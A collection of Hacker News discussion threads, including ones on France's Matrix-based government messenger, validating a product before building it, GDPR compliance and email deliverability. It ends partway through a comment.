I think we are in agreement that Apple or Google _could_ patch the app before
it gets deployed. But AFAIK it has never been done yet, and if it ever
happens, it would undermine all credibility of the platform. Of course a state
actor wouldn't want to be the first to find out.
~~~
cm2187
Thinking about it, Google and Apple actually don't even need to patch the app,
they have access to all key strokes and screen rendering. It just needs to be
a few lines of code hidden anywhere.
~~~
Aissen
This would need patching the OS at runtime, but yes, it's also possible.
~~~
cm2187
What I mean is that perhaps they already have.
~~~
Aissen
It's a possibility. It just wouldn't make any business sense, it's a pure
self-destruct button. And there are hundreds of reverse engineers on both
platforms that could have caught it by now.
------
cm2187
What’s amusing is that foreign secret services are not the only ones snooping
on French politicians. French secret services have a whole department
(formally called RG) in charge of collecting files on every domestic public
figure (own file is a interesting ritual read for a newly promoted minister of
interior). The justice dept had also an interesting interpretation of attorney
client privilege where it argued recently that it was ok to snoop if
retroactively a wrongdoing is found (the Sarkozy case).
If I was a tech savvy French politician I would try to use something that is
neither in control of French authorities nor foreign. But French politicians
are almost exclusively political science graduates, lawyers, doctors and
teachers, not typically tech savvy.
~~~
blauditore
> But French politicians are almost exclusively political science graduates,
> lawyers, doctors and teachers, not typically tech savvy.
I think this applies to politicians worldwide, at least in western countries.
~~~
icebraining
We have a non-insignificant number of engineers as politicians in Portugal.
E.g. the current Secretary-General of the UN is one of our ex-PMs, and is an
ex-assistant professor of Telecommunication Signals after having graduated in
Physics and Electrical Engineering.
Considering our political panorama, I don't think this has helped much,
though.
------
gman83
I remember when they tried to build a Google rival:
[http://www.spiegel.de/international/quaero-qu-est-ce-que-
c-e...](http://www.spiegel.de/international/quaero-qu-est-ce-que-c-est-franco-
german-rival-to-google-flops-a-455775.html)
------
benevol
When tax dollars go into open source, it's just an endless chain of win-win-
win-win-...
News like this is just great. :-)
~~~
nickik
Yeah its a total win for the french tax payer who will spend a bunch of money
on a service that they neither need nor want.
~~~
grive
It seems that the source have already been published and is using open
protocols.
I'm actually greatly pleased that my taxes are spent on an app that is
actually accessible from the public, and will benefit open source project.
This should be the standard way for most government development projects.
------
mxuribe
This is awesome to see! My only wish was that matrix and riot were clearly
mentioned. This would have significantly raised the profiles of both projects
that I'm a big fan of.
To @Arathorn and any other members of matrix and riot teams, kudos on this
news, and great job! Next step - of course, beyond the tech work already being
done on the platforms - is to promote the heck out of this news!! ;-)
EDIT: Ok, there's at least some other promotion elsewhere which mentions
matrix and riot; cool: [https://www.tomshardware.com/news/france-alternative-
whatsap...](https://www.tomshardware.com/news/france-alternative-whatsapp-
telegram-spying-concerns,36898.html)
~~~
Arathorn
thanks :) the problem here is that the government comms guys simply don’t know
about Matrix or care about the underlying protocol, hence lack of reference to
Matrix. Hopefully the word will get out anyway!
------
_jomo
> Both WhatsApp and Telegram promote themselves as ultra secure because all
> their data is encrypted from start to finish.
Sigh. I wish they had added that Telegram is not "encrypted from start to
finish"
------
VMG
See also
[https://en.wikipedia.org/wiki/Quaero](https://en.wikipedia.org/wiki/Quaero)
------
ersiees
What about using Signal? Will they do something else then using the Signal
protocol? If so, this might be either pretty expensive or could go wrong.
~~~
barbs
I thought about that too...if their concern is that they want the server to
remain on French soil could they not spin up an instance of their own Signal
server?
[https://github.com/signalapp/Signal-
Server](https://github.com/signalapp/Signal-Server)
------
motohagiography
Is there a reason a crypto messenger team wouldn't seem to publish their
protocol specs using BAN notation that people can objectively reason about,
and then verify the implementation of it in the code?
As in, if you can't explain it this clearly, what's the problem?
[http://www.lsv.fr/Software/spore/table.html](http://www.lsv.fr/Software/spore/table.html)
Having worked on some crypto projects, the admonition to, "just read the
code," is disingenuous, because without a formal spec, you have nothing to
compare the code to or evaluate the code against.
~~~
Arathorn
the crypto specs are
[https://git.matrix.org/git/olm/about/docs/olm.rst](https://git.matrix.org/git/olm/about/docs/olm.rst)
and
[https://git.matrix.org/git/olm/about/docs/megolm.rst](https://git.matrix.org/git/olm/about/docs/megolm.rst)
(amongst others).
~~~
motohagiography
Now that's how it's done. Nice.
------
kaustyap
I don't quite get the need of messaging service for the government when there
are already other secure/official means of communication. Would any corporate
promote messaging app over official email communication channel for employees?
~~~
baud147258
I though we already had such a service, used by top-level government
executives.
------
briandear
Are these communications preserved for open records purposes? This seems like
a good way for government officials to avoid scrutiny from the public or
history.
------
rb808
What is the best Matrix/Riot Android app right now? I see Riot only has 50k
downloads which I'm not sure if is a mistake or reality.
~~~
mxuribe
Asking for "the best" might be a bit subjective, no? Early on, the Matrix
Console Android client was ok; i had no problems with it. Though i think it
was intended merely as a reference implementation. The Riot client (it used to
be called Vector client) gained alot of attention since the beginning, so its
got plenty more polish. I honestly have not used any of the other clients -
since happily sticking with Riot (web client). But the matrix.org site does
have a list of clients/apps (and the list is much longer than I recall since
the last time I checked): [https://matrix.org/docs/projects/try-matrix-
now.html](https://matrix.org/docs/projects/try-matrix-now.html) You lose
nothing in giving a few of them a try. Cheers!
------
baud147258
It's funny how I'm learning things about my government first on NH and not on
national news.
Edit: and I've learned a few other things (SAIP, Quaero)
------
edhelas
Well looks like our government (I'm French) is having the NIH syndrome as
well. Why not reusing existing solutions like XMPP + OMEMO? They can invest a
few thousands euros in those projects and in a couple of open source clients.
Plus this will also allow the citizen to have a nice, government funded,
encrypted solution.
But hey, it's not "sexy" enough. So they'll drop some public money to a big
company that knows "what they are doing" and deliver a crappy platform that no
one will use :) It already happened too many times.
~~~
danielbarla
The article was pretty light on details, but isn't it more a case of "Not
Hosted Here"? This is the only relevant parts I could find:
> We need to find a way to have an encrypted messaging service that is not
> encrypted by the United States or Russia
and
> The French government’s encrypted app has been developed on the basis of
> free-to-use code found on the Internet.
I'm hoping this means they are using a mature, open implementation for most of
it.
~~~
puszczyk
+1 on that. Based on the article I hope they’re using signal or some other
reputable crypto. Ideally they’ll host it in France and provide a good UI
~~~
Davidbrcz
I think it is intended for the government only, you'll never see it as a
citizen.
------
stesch
Wasn't PGP illegal in France in the 1990s? Do they expect people to trust
them?
~~~
klmr
> Wasn't PGP illegal in France in the 1990s?
Essentially yes (and not just PGP), strong cryptography fell under arms
regulations and required, essentially, the equivalent of a firearms license
(but was, by contrast, almost impossible to obtain). Import and export of
cryptography technology are still regulated, though [1].
> Do they expect people to trust them?
I’m not sure what you mean by that: This isn’t a trust issue, the French
government is/was completely upfront about these restrictions.
[1]
[https://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFT...](https://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000000801164#LEGISCTA000006136109)
~~~
loup-vaillant
Wait a minute, does this means what I have done with Monocypher¹ is illegal? I
live in France, and I clearly provided and exported "cryptographic means", and
I haven't written a word to our prime minister.
Same goes for Libsodium by the way, I doubt Franck Denis bothered to ask
permission as well.
[1]: [https://monocypher.org](https://monocypher.org)
~~~
klmr
As far as I understand (I haven’t lived in France since 2004), the import and
export restrictions are essentially unenforced, and nobody cares (as long as
you’re not actively trading with embargoed nations). But if you’re working in
cryptography, it might be worth talking to other local experts. There are
surely user groups that know the legal situation inside out — at the very
least, publicly funded researchers should be able to point you to resources.
------
ArmandGrillet
I wish I would have seen a GitHub repo opened by the French government (à la
Keybase) instead of an article from Reuters telling me that 20 officials beta-
test an app developed by "we don't know who" using the taxes that pay my
parents and friends. Show, don't tell.
~~~
Arathorn
So there is an open github repo, and I’m a bit surprised they’re not linking
to it - I think this reflects more on the government comms processes than the
FOSS side of things. On the Matrix side we’re seeing what we can do to help.
------
nkkollaw
Would it not have been enough to pass a law that prohibited survaillance?
It's a wonderful initiative, but I doubt the average user will switch.
------
bertolo1988
Until there is an open source micro chip i won't believe that any security
protocol is not being cheated.
------
amelius
When are they rolling their own CPUs, in light of Intel ME and associated
surveillance risk?
~~~
girvo
So if it can’t be perfect we might as well give up? One time pads or go home?
~~~
amelius
No, I was just wondering how far they are prepared to go.
| {
"pile_set_name": "HackerNews"
} |
How did I get 38 willing-to-pay customers before writing code? - kylebragger
http://artsyeditor.com/2011/04/how-did-i-get-38-willing-to-pay-customers-before-writing-code/
======
ajg1977
38 willing to pay customers isn't quite the same as 38 paying customers.
Instead of spending a week getting ~$400 worth* of obligation-free commitments
it would have been better putting the time towards a working prototype. Then
find a small beta group -> iterate -> release & sell -> iterate & update.
Soliciting opinion on a problem you want to solve can be extremely valuable,
but it sounds like the author already knew more than enough to put together a
1.0 version.
This is a problem I've had for a number of years. While working on personal
projects, commercial or otherwise, I always had a tendency to allow all the
peripheral matters (names, websites, logos, mailing lists, teasers) to take
time away from the only one that was really important - building the thing and
getting it into the hands of testers and users.
Nowadays I make it my number one priority to build a minimally working
prototype of whatever I'm trying to solve. By the time I have that then it's
usually clear whether the idea will go anywhere, and if it does I have a
prototype to iterate on and give to small number of people for further
feedback. If your idea and implementation are good this can generate far more
interest and potential sales than showing around a mockup with a vague release
date.
(*I'm sure that blog post is an attempt to garner interest, much like posting
it on HN, so of course it may have more extrinsic value than just 38 potential
purchases.)
~~~
amjith
Not sure I agree.
I feel that you should get at least 10 people to agree they are willing to pay
for your product in order to validate it. It might not be true for all
scenarios, but it definitely seems valid for the idea that is presented in the
blog post.
This is an excellent article that lists some valid points why you should start
marketing the day you start coding.
[http://www.softwarebyrob.com/2010/10/14/startup-marketing-
pa...](http://www.softwarebyrob.com/2010/10/14/startup-marketing-part-6-why-
you-should-start-marketing-the-day-you-start-coding/)
------
rexreed
I find that there's a very big difference between people saying that they'd be
willing to pay something and getting these people to actually pay for that
thing.
The rate of false-positives in people indicating they'd buy something before
being pressed to buy it is very high. This is speaking from first-hand
experience. Sometimes having 0 customers and seeing whether people will
actually buy it is worth more than asking people if they'll buy something
without putting it to a real test. In fact, you might come to different
conclusions about what is important and not if you go based on what people say
they will pay for vs. what they actually pay for.
~~~
theoj
People might initially be excited about your idea, but after 3-6 months of you
building it and not hearing from you, that excitement might die down or be
tempered.
I'd say you need to do a couple of things. First, provide progress updates
while building. Once you're done building and you decide to approach them
again, re-iterate the pain points and benefits and try to build back that
initial excitement. Also, read up on the principle of consistency in sales
(for example pick up the book Influence by Cialdini). The idea is this: if you
initially got a written and public commitment from the prospects, then those
prospects will keep their word. They may also be less willing to flatter you
given that kind of a commitment.
------
famousactress
I guess I haven't really used any distraction-free editing tools and honestly
I was pretty skeptical while reading the post about the quality of feedback
and value the product might have.... until I got to the mockup.
If the product looks & works as well as the mockup suggests, I'd buy it at the
price mentioned, and I'm someone who only writes a half dozen or so posts a
year.
------
pavel_lishin
> Artsy Editor was a little idea I had 2 weeks ago. 9 days after that, I
> showed 1000+ people my mockup, validated with 109 people personally, and _38
> of them were already ready to pay for it_.
So why didn't you take their money?
~~~
Timothee
While, by default, this would definitely not be my mindset, ("how can I take
money from these people since I don't have anything to give them right now?")
this is a good question.
This is probably a good idea:
\- to validate your idea with real customers,
\- motivate you to actually finish it
\- and get a growing list of people who can give you feedback.
------
bretthopper
This is one of the best idea/project timelines I've seen.
Please keep updating as you go. Hopefully this actually gets made since it's a
great idea.
~~~
stephenou
Hi, Stephen here. I wrote the post.
Yes, I'm currently working on it and I'll keep everyone on HN with my
progress.
Meanwhile, you can also join the mailing list: <http://artsyeditor.com>
------
hanifvirani
One of the most comprehensive and informative idea development posts I have
read. The hard work that you put into gathering customer feedback as well as
in assembling this post, clearly shows. I look forward to some follow up posts
where we find out how many willing-to-pay customers actually convert. Best of
luck.
------
muyuu
This is why I'll probably never be rich.
Something I can get done in a weekend, I'd release it free and Open Source.
Plus, lifetime commitment? (for something supposedly dead simple?).
------
jamesjyu
Awesome idea! This is exactly the reason why I made QuietWrite. I also have an
integration with WordPress, but having a plugin is awesome too. I'd definitely
use this.
Also, WordPress is going to be integrating a fullscreen clean editor in an
upcoming release (from what I hear).
------
pxlpshr
Slick plugin, I could see this being used to help non-technical marketing
people better contribute to a website.
Hope you're able to make it compatible with <http://wpml.org> as we use this
plugin extensively.
------
dot
"Lesson learned: I need to know what people need and what they will pay for"
Yes and no. Sometimes, with something as simple as this just try scratching
your (most urgent) itch.
You can always build on that.
------
ookblah
I'd be interested in hearing your approach to it. Sounds something like Aloha
Editor, and it's a PITA problem to solve w/ all the cross-browser
inconstancies.
------
h0h0h0
Very well written and clear. I just started to put what you learned into
practice :)
~~~
stephenou
Thank you. I found sharing my own experience can help consolidate what I've
learned.
------
hkon
Really interesting title, to bad the site has gone down?
~~~
stephenou
Sorry, didn't expect this much of traffic. WP Super Cache turned on. Should be
fine now!
| {
"pile_set_name": "HackerNews"
} |
More than 60% of Ethereum nodes run in the cloud, mostly on Amazon Web Services - Jarqwiz
https://thenextweb.com/hardfork/2019/09/23/ethereum-nodes-cloud-services-amazon-web-services-blockchain-hosted-decentralization/
======
toxzic
Original research: [https://chainstack.com/the-ethereum-cloud-vs-on-premises-
nod...](https://chainstack.com/the-ethereum-cloud-vs-on-premises-nodes-
conundrum/)
Cloud is great if diverse enough.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Review our website - jackflap
http://isitopen.org.uk
We've just recently finished a proof-of-concept site called 'isitopen'. It is designed to allow users submit and review consumer devices regarding how 'open' they are (i.e. available source-code, documentation, standardized plugs, etc.)<p>We've hit a point where we don't know where to go from here, whether the idea is even a good one, or how to market it.<p>Comments?
======
qeorge
As others have said, the purpose of the site is very unclear. I'm reviewing it
for the sake of reviewing it, but normal visitors won't work so hard to figure
out what the point of your site is, they'll just move on.
Here are a few suggestions:
1) Put a question mark after IsItOpen in your logo. Pick a more readable font.
The shape next on the left side of the logo doesn't add anything either, so
remove it.
2) Add a highly visible tagline that explains the site, either under the logo
or in another highly visible place. Suggestion: "Rating consumer electronics
on their extensibility and ease of use"
3) The FAQ needs work. I'm OK with a conversational style, but "What the hell
does that mean?" is too much. Make this section clearer and get to the point
faster. The sections starting with "Have you ever" are a step in the right
direction. Remember, they've probably landed on this because they are confused
about what the site is for. Its your last chance.
4) Remove the animated menus. They are buggy, slow, and annoying.
5) Comparing an iPhone to a keyboard to a stereo is not helpful. Presumably
I'm trying to choose between a set of competing items based on their
"openness" before making a purchase. So group the items by type.
6) On your about page you mention that during the submission process the user
grades the item on a number of criteria. These would probably be a lot more
interesting that an "openness" score with an arbitrary number next to it that
has basically no meaning. Is .83 good? If its out of 1, yes, if its out of 5,
not so much. I think its out of 5, but I had to look at a bunch of other
products to deduce that.
6) Reduce the number of device types. Honestly, I think phones are probably
the only place people really care about this, maybe TVs. I could be wrong. But
I don't think you'll find a lot of visitors trying to figure out how "open"
various keyboards are, whatever that means.
7) The design is hard on the eyes. You mentioned its an alpha, but make sure
you clean it up before launch. Bad design takes away from your authority.
8) Buy a new domain. .org.uk will become an albatross.
------
lacker
I arrive at your site and have no idea what it does.
------
joshuarr
I like the idea. But.
The logo is really not very appealing, and it doesn't say anything about the
project. It doesn't add anything to the site, which in my mind means it
detracts. Your brand identity should definitely NOT detract from your product.
The database is really weak, which makes the site useless. You need to scrape
some info from somewhere so that when I filter the tags by 'camera' I don't
get a list of mobile phones. That happens to me once, and I'm gone.
You should put a brief description of the purpose of the site on top of the
results on the home page. So that we know why we are there.
I can't buy anything here? This is a store with no cart.
Don't make me signup/register/login before allowing me to vote or rate stuff.
There's nothing to play with to get me hooked before requiring login.
------
jackflap
We've just recently finished a proof-of-concept site called 'isitopen'. It is
designed to allow users submit and review consumer devices regarding how
'open' they are (i.e. available source-code, documentation, standardized
plugs, etc.)
We've hit a point where we don't know where to go from here, whether the idea
is even a good one, or how to market it.
Comments?
~~~
jrnkntl
_It is designed..._
Ho, stop, by who? The lay-out isn't very appealing and looks like it's still
under construction. I get the idea of the site, but, what do you want to say
with it?
People who care about open-ness of their 'to-buy'-device are more likely to do
their own research, this site helps with that, but does it really fill a gap?
~~~
gdp
Ditto on the last point. It doesn't seem to be about hardware compatibility as
such, rather some intangible "openness" quality. If I were interested in the
openness as an inherently valuable trait, then I would probably care about
other things like the ethical and environmental credentials of the
manufacturer (because I probably care about non-functional traits). If I'm
looking for information on the ability of my hardware to interact with
particular software, then surely the "hardware compatibility" section of that
software's web site would be my first place to look? I guess I just don't see
the gap that this is filling.
I like the idea of power plug proprietary-ness being written down somewhere,
but if it were a real problem, I could probably find that information in user
reviews on Amazon or similar.
So I'm just not sure that I can think of any instances where I would want to
use a site that only tells me about the ideological aspects of my purchase,
without particular reference to what the real hardware/software compatibility
situation is, and which similarly doesn't give you the whole story in terms of
whether I should buy from this manufacturer or not.
So in short, I wouldn't use it, sorry.
------
gstar
First thing I looked at was the iPod touch. It said the firmware (which I read
to be the OS) wasn't based on open source software.
It's not the prettiest site in the world, either.
Were you planning on making affiliate commission? I can't imagine that anyone
will make a purchase based on openness of the platform in the first instance.
If they were the kind of consumer that did, I doubt that they'd use your
service.
I'm really sorry, but I don't have a lot of positive things to say about your
site.
------
jackflap
I would just like to thank you all for the time you took to look at the site
and the comments you've all made.
The feedback has been incredibly useful, and has really given us an idea of
where we need to focus our efforts.
------
qui
I really hope you hire a decent web designer. The markup is really not very
good and the site doesnt tell you what it does when you first visit.
You should be aware of what a site does within a few seconds of visiting.
~~~
jackflap
When you say the markup is not very good. What do you mean exactly?
We don't have a graphic designer, so I can understand the lack of aesthetic
appeal. However, are you seeing issues with the CSS/HTML? How do you measure
how well it works?
~~~
qeorge
He's probably referring to the bulk of inline styling and javascript, and
using tables for your layout. It should be fixed, but honestly the design has
bigger problems than the code right now.
~~~
modoc
To be fair most of the page is tabular data...
------
wensing
What is "open" and "openness" and why should I care? Would your target
audience know?
~~~
jackflap
That's a good question really. And one which the site kind of just wishes to
raise.
What makes Apple & Microsoft products closed, and what makes Red Hat or Neuros
open? Clearly it's because their products and the companies themselves have a
set of qualities which determine that.
Those qualities aren't completely clear, or defined, and yet, it's pretty
generally accepted that Apple is closed and Red Hat is open.
Most people interested in open-source are aware of a some of those qualities
and look them up when deciding on purchases, but they're shifting and changing
(as Apple recently showed with the introduction of the MacBook Air which
didn't have a removeable battery - does making it more difficult to swap out a
specific component in a device make it more 'closed'?).
I think our target market has an idea of the qualities we're trying to
quantify, but the real question is, do they care? Do they care enough to
submit the products that they do the research on for themselves, to a site
like isitopen?
------
jah
Your privacy and terms of use links are pointing to SourceForge Inc's policy
pages.
------
smithjchris
The menu REALLY pisses me off. It's like being buggered by a traffic cone.
| {
"pile_set_name": "HackerNews"
} |
An OpenStack Crime Story solved by tcpdump, sysdig, and iostat (2014) - pmoriarty
https://blog.codecentric.de/en/2014/09/openstack-crime-story-solved-tcpdump-sysdig-iostat-episode-2/
======
Doubleslash
"So many proxies, so many things happening in the shadows."
A fairly accurate description of a typical experience of running OpenStack. A
behemoth of complexity to manage, requiring an operator to understand a huge
amount of layers, ranging from high level concepts like VRRP-based HAproxy
setups all the down to kernel network namespaces and low-level tap-devices.
All at the same time and with no central control plane to debug but rather
crawl multiple log files from multiple systems in parallel.
Back in 2014 OpenStack may have been a thing but nowadays, 4 years later,
people learned a lesson. There is no value in being a full-stack operator of
infrastructure for systems. The idea of running a complex, distributed
architecture like a private cloud at the same or higher stability and
comparable or even lower cost than public clouds eventually proved futile.
That's why in 2018, consensus is, infrastructure for systems has been replaced
by infrastructure for applications (k8s). The infrastructure is typically
consumed on public clouds.
~~~
yebyen
I think that's poignant. The example that comes to mind is SAP: their dev
teams embraced both, OpenStack and K8S, culminating in this glorious
monstrosity[1] called openstack-helm, by which you could run Kubernetes on
bare metal nodes, then deploy OpenStack on top of that, and finally running
Kubernetes on those virtual machines again.
The idea being that if your customers need Kubernetes clusters, you should be
able to provision them on-demand from elastic resources.
This seems like a great approach, since you can pick a layer to apply
redundancy at, and only apply it there. You do not need a triple-redundant
control plane built on a redundant backplane, if you are confident in the
redundancy of the backplane. I am not a customer of SAP but I am a fan of many
complex uses of Helm, and this seemed like it had been very well-considered
application of the tool.
Anyway learning about this implementation left me with a slightly dirty
feeling that I was idolizing a Rube Goldberg level of complexity system that
didn't need to be so complicated.
Then I heard about Gardener[2], which solves the same problem without
OpenStack at all. Seed clusters create shoot clusters, with their control
planes deployed inside namespaces of the seed cluster. There's no
virtualization overhead, and you get all of the same benefits in terms of
supervision. Also from SAP. I hope I get to work with something like this.
[1]: [https://github.com/sapcc/openstack-
helm](https://github.com/sapcc/openstack-helm)
[2]: [https://gardener.cloud/](https://gardener.cloud/)
------
83457
Not sure if intentional but that is the second episode. Here is the first
episode
[https://blog.codecentric.de/en/2014/09/openstack-crime-
story...](https://blog.codecentric.de/en/2014/09/openstack-crime-story-solved-
tcpdump-sysdig-iostat-episode-1/)
| {
"pile_set_name": "HackerNews"
} |
Ask EU users: why are you using this shady site that doesn’t comply with GDPR? - ryanwaggoner
Pretty sure that HN is not fully compliant with GDPR, and that only very shady sites that intend to misuse your data are not compliant as of today. How can you stand this blatant violation of your human rights?<p>OK, I’m being deliberately provocative about it, but it’s a serious question. Is HN actually compliant and I’m just not aware? Or are you giving them a pass for some reason? Or are you all filing complaints right now?<p>Genuinely curious.
======
drKarl
First, you can use HN without even creating an account. If you want to comment
and upvote you can create a an account, and the only personal information you
need to provide is an email address, which doesn't even need to be your main
email address. It doesn't show ads, so it doesn't have an incentive to collect
our personal data and interests to target ads or sell the data to third
parties.
Your comment seems to denote that you think GDPR is a silly european thing and
that it restricts companies freedom and that USA doesn't need similar laws to
protect user data and privacy. So, are you really ok with Facebook, Google,
Amazon and so many other companies spying on us for their own benefit, to
profit off personal data, even share that data with three letter agencies or
it's just because it's an US vs THEM mentality that everything outside US is
strange and slightly frightening? Genuinely curious.
~~~
ryanwaggoner
They’re likely storing your IP, and collecting data for analytics. Maybe not?
I’m general, yes, I’m OK with Google and Facebook collecting my info. I’m
sending it to them voluntarily as a tradeoff for using their services.
Your use of the word “spying” is just propaganda. And the accusations of
xenophobia are a cheap shot as well. I love Europe, I lived there for several
years, and I’d do so again. I currently visit Europe 1-2x per year.
I’m generally in favor of some of the intent behind the GDPR, and would
probably support a more sane version of it here. I’m not in favor of its
claims to jurisdiction over any company in the world under the logic that an
EU citizen might visit their website. That’s a dangerous precedent.
~~~
gargravarr
HN's privacy policy is freely readable here:
[http://www.ycombinator.com/legal/](http://www.ycombinator.com/legal/)
They go out of their way to ensure you need to give them absolutely minimal
data - IP communications won't work without IP addresses, and logging them is
pretty harmless in my mind. Geolocation for analytics purposes is also fine in
my book.
The biggest part of GDPR is to give individual end users control over their
personal data and the way it's processed. The easiest way to sidestep GDPR is
to not collect this data in the first place.
As a European and as someone involved in my company's GDPR implementation, I
am fully in favour of it, it's what 'normal' users have clamoured for. EU laws
are quite powerful and can be applied to any member state, equivalent to
federal law in the US. This grants a very good standard of basic rights and
legal protection, and I am very glad we have it.
Edit: in fact, I view it as a massive cop-out that so many non-EU sites have
chosen to block requests from the EU rather than face up to the fact they do
not need to collect and process this data for general operation of their sites
- I'm looking at you, US news sites. Frankly, that is also fine by me - if
visiting such a site requires me to submit to being clinically profiled and
categorised for reading a news article, I'll go somewhere else.
~~~
ryanwaggoner
_logging them is pretty harmless in my mind. Geolocation for analytics
purposes is also fine in my book._
Great, but that's not what the law says?
I think it's fine for sites to block EU visitors, and fine for EU visitors to
go somewhere else, whether they're blocked or not. But that's not at issue
here, is it? HN isn't blocking EU users, they haven't updated their privacy
policy in more than a year, and they're likely collecting data that, while you
personally may be OK with it, isn't compliant with the GDPR.
So it seems like you're willing to give them a pass even though they're not
compliant? So why the hostility towards other sites that are in the same boat,
but take the additional precautionary step of blocking EU users to show that
they're really trying not to violate the law, and that they don't want those
visitors since they're not compliant?
| {
"pile_set_name": "HackerNews"
} |
Detection of visible light from the darkest world - gsivil
http://www.astro.princeton.edu/%7Edsp/PrincetonSite/Home_files/darkest_world.pdf
======
gsivil
And something from the popular press:
<http://www.bbc.co.uk/news/science-environment-14476411>
| {
"pile_set_name": "HackerNews"
} |
Facebook blocks Scoble for downloading his contacts, sparks revolt - nickb
http://uk.techcrunch.com/2008/01/03/facebook-blocks-scoble-for-downloading-his-contacts/
======
sethjohn
Again, the future of the web is being written by petty acts of criminality.
(aka civil disobedience, aka breaking stupid rules)
Just as the entertainment industry will eventually have to adapt to the
reality of file-sharing, regardless of the fact that the law is on their
side...the future of data portability will be driven by technology development
and people's willingness to break the rules, not by the Facebook TOS.
------
ojbyrne
Who cares? I don't mean to be flippant, this just seems like the definition of
something that only matters to a lot of self-important bloggers.
~~~
axod
I too don't quite understand the mentality of people who have 5,000+
'friends'.
~~~
bayareaguy
Caveat: I've never used facebook other than once when I signed up in order to
take a peek at the documentation for Thrift (
<http://developers.facebook.com/thrift> ).
That said, my experience with Orkut is that it's next to trivial to end up
with a bazillion friends. This is because friends never get dropped off your
list and people outside your immediate circle often remember you when they see
your name on someone elses list and consequently ask to be your friend
regardless of the fact that you may not have spoken to them in a decade.
------
cstejerean
what matters is that Facebook would disable your account for attempting to get
your data out of it. For this and many other reasons I've deleted my Facebook
account (and it wasn't easy).
~~~
tomjen
If the data is on facebook servers, it is on private property and they have
every right to decide who has access to their private property.
~~~
run4yourlives
I think the point is that it violates the spirit, if not the letter, of the
whole "social network" idea.
~~~
pg
I think it violates a principle broader than that. I think everything you
store in a web app, you ought to be able to get back out. As far as I know,
Google meets this standard.
I'm not saying that sites have to give users _all_ the information they have
about them, btw-- just that they should allow users to retrieve information
they have supplied or been given by others. E.g. an email app should let you
export (or at least not deliberatebly block you from exporting) emails you've
sent and received. Contact info of people who've added you as friends seems in
the same class as email sent to you.
~~~
run4yourlives
> I think everything you store in a web app, you ought to be able to get back
> out.
I think so as well, but given that the sanctity of data ownership is a rather
new phenomena - for example, you wouldn't ask your bank for all your
transaction history - I can give that they may not feel that they are obliged
to return it.
~~~
plinkplonk
"you wouldn't ask your bank for all your transaction history - I can give that
they may not feel that they are obliged to return it."
huh? Here in India you can ask any bank for your transaction history and
they'll give it to you. You might have to go to the local branch and show id
and wait while they print out the transaction history, but you'll get it for
sure.
~~~
run4yourlives
Well, you could probably do that here too, although they might make you pay
for anything historical. I was thinking more from a web-app standpoint. It's
not the greatest of examples, put the point is that the bank doesn't see
themselves as under any real obligation to view your transactions as anything
but their data.
------
tomjen
Facebook is private property, so they can ban anyone they want (otherwise what
is the point of the fourth amendment?)
~~~
batasrki
OK, fair enough. But why does Facebook allow you to import data from other web
services, like Gmail, but disallow you to export data from their database?
If they're going to be petty about that, Scoble's pettiness is justified in my
mind.
------
jakewolf
He knew what he was doing all along.
"That's part of my job to see how good their terms of service are, and how
well enforced they are." [http://scobleizer.com/2008/01/03/ive-been-kicked-
off-of-face...](http://scobleizer.com/2008/01/03/ive-been-kicked-off-of-
facebook/#comment-1856083)
Since when is breaking a contract part of one's job?
| {
"pile_set_name": "HackerNews"
} |
Too often the basic rights of people with dementia are overlooked - bookofjoe
https://www.economist.com/special-report/2020/08/27/too-often-the-basic-rights-of-people-with-dementia-are-overlooked
======
bookofjoe
[https://archive.vn/NKNsD](https://archive.vn/NKNsD)
| {
"pile_set_name": "HackerNews"
} |
Resilient SSH tunnel app (keep alive and conn retries) - davrodpin
Latest version of mole, 0.5.0, adds two new features that increases the resiliency of an established tunnel:<p>* Idle clients do not get disconnected from the ssh server since Mole keeps sending synthetic packets acting as a keep alive mechanism.
* Auto reconnection to the ssh server if the it is dropped by any reason.<p>Link: https://davrodpin.github.io/mole/
======
jimrandomh
Interesting! I previously tried to do this with autossh, which seems like it
does approximately the same thing, but autossh didn't seem to work in my use
case. That use case being, I have a laptop with VMs, and ssh tunnels between
the host and the VMs; when the laptop goes to sleep, sometimes the connections
break when the laptop wakes up, because some timeout expired and sleeping
hosts can't send or receive keepalives. I'm not sure why autossh didn't work,
but I'll give this one a try!
------
wikibob
For the uninformed, can you explain how this is different or better than Mosh?
| {
"pile_set_name": "HackerNews"
} |
The Local Innovator’s Dilemma (2011) - mw67
http://www.muckercapital.com/the-local-innovators-dilemma/
======
soneca
_It is not impossible to crack the nut (and I’ve came across a few companies
in the last month or so that are almost there)._
As this is from 2011 (and the early success examples Groupon and Living Social
are now, at least, doubtful); I would like to know which were these _almost
there_ companies.
And here is the next post about the _solution_...
[http://www.muckercapital.com/the-local-innovators-
solution-3...](http://www.muckercapital.com/the-local-innovators-solution-3/)
------
lifeisstillgood
Really interesting - the view from two or three years ago that Local was where
it was at I felt even over here, and it is still a dream for many. It's just
not something that fits with the one big server farm and the whole world
connects to it.
Local will be solved not by one company winning it all, but by mesh networks
redefining how we talk to each other - from hubs to meshes. Reflecting reality
again.
------
webmaven
Needs a [2011]. Evidence here:
[http://www.muckercapital.com/blog/page/4/](http://www.muckercapital.com/blog/page/4/)
~~~
dang
Thanks; added.
~~~
webmaven
You're welcome. Also:
[https://news.ycombinator.com/item?id=7868016](https://news.ycombinator.com/item?id=7868016)
and
[https://news.ycombinator.com/item?id=7870360](https://news.ycombinator.com/item?id=7870360)
| {
"pile_set_name": "HackerNews"
} |
Ask HN: What are less-known best practices for email deliverability? - hvass
Hi all!<p>What are the best practices for email deliverability that you do that have helped you with open rates and making sure your subscribers engage? I am specifically asking for something that is outside the usual recommendations.<p>We are currently doing the following:<p>1) Excluding unengaged subscribers who have not opened an email from us in the last XXX days<p>2) Double opt-in on certain forms to prevent list-bombing<p>3) Monitoring Google Postmaster Tools for spam rate, IP reputation, domain reputation, etc.<p>4) SPF, DKIM, DMARC, etc. are implemented<p>5) Two dedicated IP addresses are used for sending the email<p>6) Deleting/cleaning 'invalid' email addresses (not hard bounces).<p>###<p>Is there something we are missing?<p>Thanks so much!
======
tyingq
Limit concurrent outbound SMTP streams to any single provider to something
reasonable. Many interpret an excess as a spam signal.
Spend time interpreting bounces that come back as emails versus hard failures
on SMTP delivery. This isn't easy. Either highly manual, or lots of parsing
out temporary versus permanent failures, versus human emails, etc.
------
barryrandall
2 rules I follow: Don't get flagged as spam. Don't send messages to
unvalidated email addresses.
Spam- Few things move faster than an annoyed user's mouse going for the
